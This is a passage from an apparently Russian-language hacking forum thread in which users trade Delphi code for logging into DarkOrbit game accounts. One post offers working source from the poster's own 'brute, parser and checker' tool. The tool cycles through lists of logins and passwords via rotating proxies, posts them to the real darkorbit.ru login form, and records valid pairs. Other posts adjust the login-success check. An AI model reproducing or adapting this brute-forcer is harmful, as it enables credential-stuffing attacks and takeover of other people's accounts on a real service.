|
22.06.2012, 12:41
|
#16
|
|
|
|
Сержант
|
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
|
Re: Авторизация дарк орбит(Рабочая)
|
Цитата: |
|
|
|
|
Сообщение от D.E.Z.E.R.T.I.R |
|
|
|
|
|
|
|
[Na`Vi]DendI, что за бред? у тебя получается, что даже если данные введены неверно, то все равно программа продолжает попытку авторизации
вот это заменить на это:
Код:
if Pos('selectInstanceHint',page)<>0 then
Memo1.Lines.Add('Данные введены верно..Входим на сервер')
else
Memo1.Lines.Add('Данные введены не верно!...');
pars1:=pars('http://'+edit3.Text+'.darkorbit.bigpoint.com/GameAPI.php?req=',page,'&ref_pid='); // парсим сервера
pars2:=idhttp1.Get('http://'+edit3.text+'.darkorbit.bigpoint.com/GameAPI.php?req='+pars1); // парсим сервера
if Pos('span', pars2) <> 0 then
memo1.lines.add ('Вошли на аккаунт')
else memo1.lines.add ('Не вошли');
на это:
Код:
if Pos('selectInstanceHint',page)=0 then
Memo1.Lines.Add('Данные введены не верно!...');
else begin
Memo1.Lines.Add('Данные введены верно..Входим на сервер')
pars1:=pars('http://'+edit3.Text+'.darkorbit.bigpoint.com/GameAPI.php?req=',page,'&ref_pid='); // парсим сервера
pars2:=idhttp1.Get('http://'+edit3.text+'.darkorbit.bigpoint.com/GameAPI.php?req='+pars1); // парсим сервера
if Pos('span', pars2) <> 0 then
memo1.lines.add ('Вошли на аккаунт')
else memo1.lines.add ('Не вошли');
end;
|
|
|
|
|
|
Вот ты как раз бред написал,у всех работает мой код,если у тебя что-то не то то значит руки не из того места...
|
|
|
03.07.2012, 19:54
|
#17
|
|
|
|
Разведчик
|
Регистрация: 17.01.2012
Сообщений: 19
Популярность: 126
Сказал(а) спасибо: 8
Поблагодарили 30 раз(а) в 11 сообщениях
|
Re: Авторизация дарк орбит(Рабочая)
По моему опыту indy исключает возможность корректного использования прокси, так что, добавляю авторизацию darkorbit из некогда находящейся на этом сайте программы - "Брут, парсер и чекер darkorbit.ru V.0.5" - написанной мной. Хочу сказать, что в данном алгоритме требуется подправить условие авторизации и подачу логинов и пассов. А так полностью рабочая авторизация с парой примочек - проверкой конекта, и так по мелочи, в общем внимайте вариант на synapse:
Код:
///////////////////////////////////////brut
procedure brut.polubas;
begin
form1.proxy.Lines.Add(proxyip+':'+proxyport);
end;
procedure brut.pris;
var
s:string;
begin
if nomp<=form1.password.Lines.Count-1 then
begin
login:=form1.logins.Lines[noml];
pass:=form1.password.Lines[nomp];
inc(nomp);
begin
s:=form1.proxy.Lines[0];
proxyip:=copy(s,1,pos(':',s)-1);
delete(s,1,pos(':',s));
proxyport:=s;
form1.proxy.Lines.Delete(0);
end;
end else begin
inc(noml);
if noml<=form1.logins.Lines.Count-1 then
begin
nomp:=0;
login:=form1.logins.Lines[noml];
pass:=form1.password.Lines[nomp];
begin
s:=form1.proxy.Lines[0];
proxyip:=copy(s,1,pos(':',s)-1);
delete(s,1,pos(':',s));
proxyport:=s;
form1.proxy.Lines.Delete(0);
end;
end else begin
workbrut:=false;
exit;
end;
end;
end;
procedure brut.add;
begin
form1.gotovo.Lines.Add(login+';'+pass);
end;
procedure brut.Execute;
var
stream:tstringstream;
http:thttpsend;
list:tstringlist;
b:boolean;
i:integer;
s:string;
begin
b:=true;
http:=thttpsend.Create;
list:=tstringlist.Create;
stream:=tstringstream.Create;
http.UserAgent:='Opera/9.80 (Windows NT 6.1; U; MRA 5.10 (build 5308); ru) Presto/2.10.229 Version/11.62';
http.Timeout:=10000;
while workbrut=true do
begin
if b=true then begin
synchronize(pris);
end else begin
b:=false;
end;
if workbrut=false then
exit;
http.ProxyHost:=proxyip;
http.ProxyPort:=proxyport;
i:=1;
for I := 1 to 4 do begin//цикл
http.Headers.Clear;
http.Document.Clear;
http.Cookies.Clear;
stream.Clear;
http.MimeType:='application/x-www-form-urlencoded';
stream.WriteString('loginForm_default_username='+login+'&loginForm_default_password='+pass+'&loginForm_default_login_submit=Вход');
http.Document.LoadFromStream(stream);
http.HTTPMethod('post','http://darkorbit.ru/?locale=ru&aid=0');
list.LoadFromStream(http.Document); s:=utf8decode(list.Text);
if pos('loginForm_default_username=',s)=0 then
begin
if pos('Выбери сервер, на котором хочешь играть:',s)<>0 then
synchronize(add);
Break;
end;
end;////////цикл
if i<4 then begin
synchronize(polubas);
end else begin b:=true; end;
end;
http.Free;
list.Free;
stream.Free;
end;
///////////////////////////////////////brut konec
|
|
|
16.08.2012, 23:15
|
#18
|
|
|
|
Разведчик
|
Регистрация: 12.08.2012
Сообщений: 9
Популярность: 102
Сказал(а) спасибо: 0
Поблагодарили 4 раз(а) в 3 сообщениях
|
Re: Авторизация дарк орбит(Рабочая)
Мне кажется или все коды нави денди не работают? или работают с ошибками
это if Pos('selectInstanceHint',page)<>0 then
меняем на это
if Pos('instance_1',page)=0 then
и заработает
Последний раз редактировалось ꞊Krσησs꞊; 16.08.2012 в 23:33.
|
|
|
17.08.2012, 01:59
|
#19
|
|
|
|
Сержант
|
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
|
Re: Авторизация дарк орбит(Рабочая)
|
|
|
17.08.2012, 10:32
|
#20
|
|
|
|
Лейтенант-командор
|
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: Авторизация дарк орбит(Рабочая)
Тема закрывается в связи с неактуальностью.
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 00:31.
|
|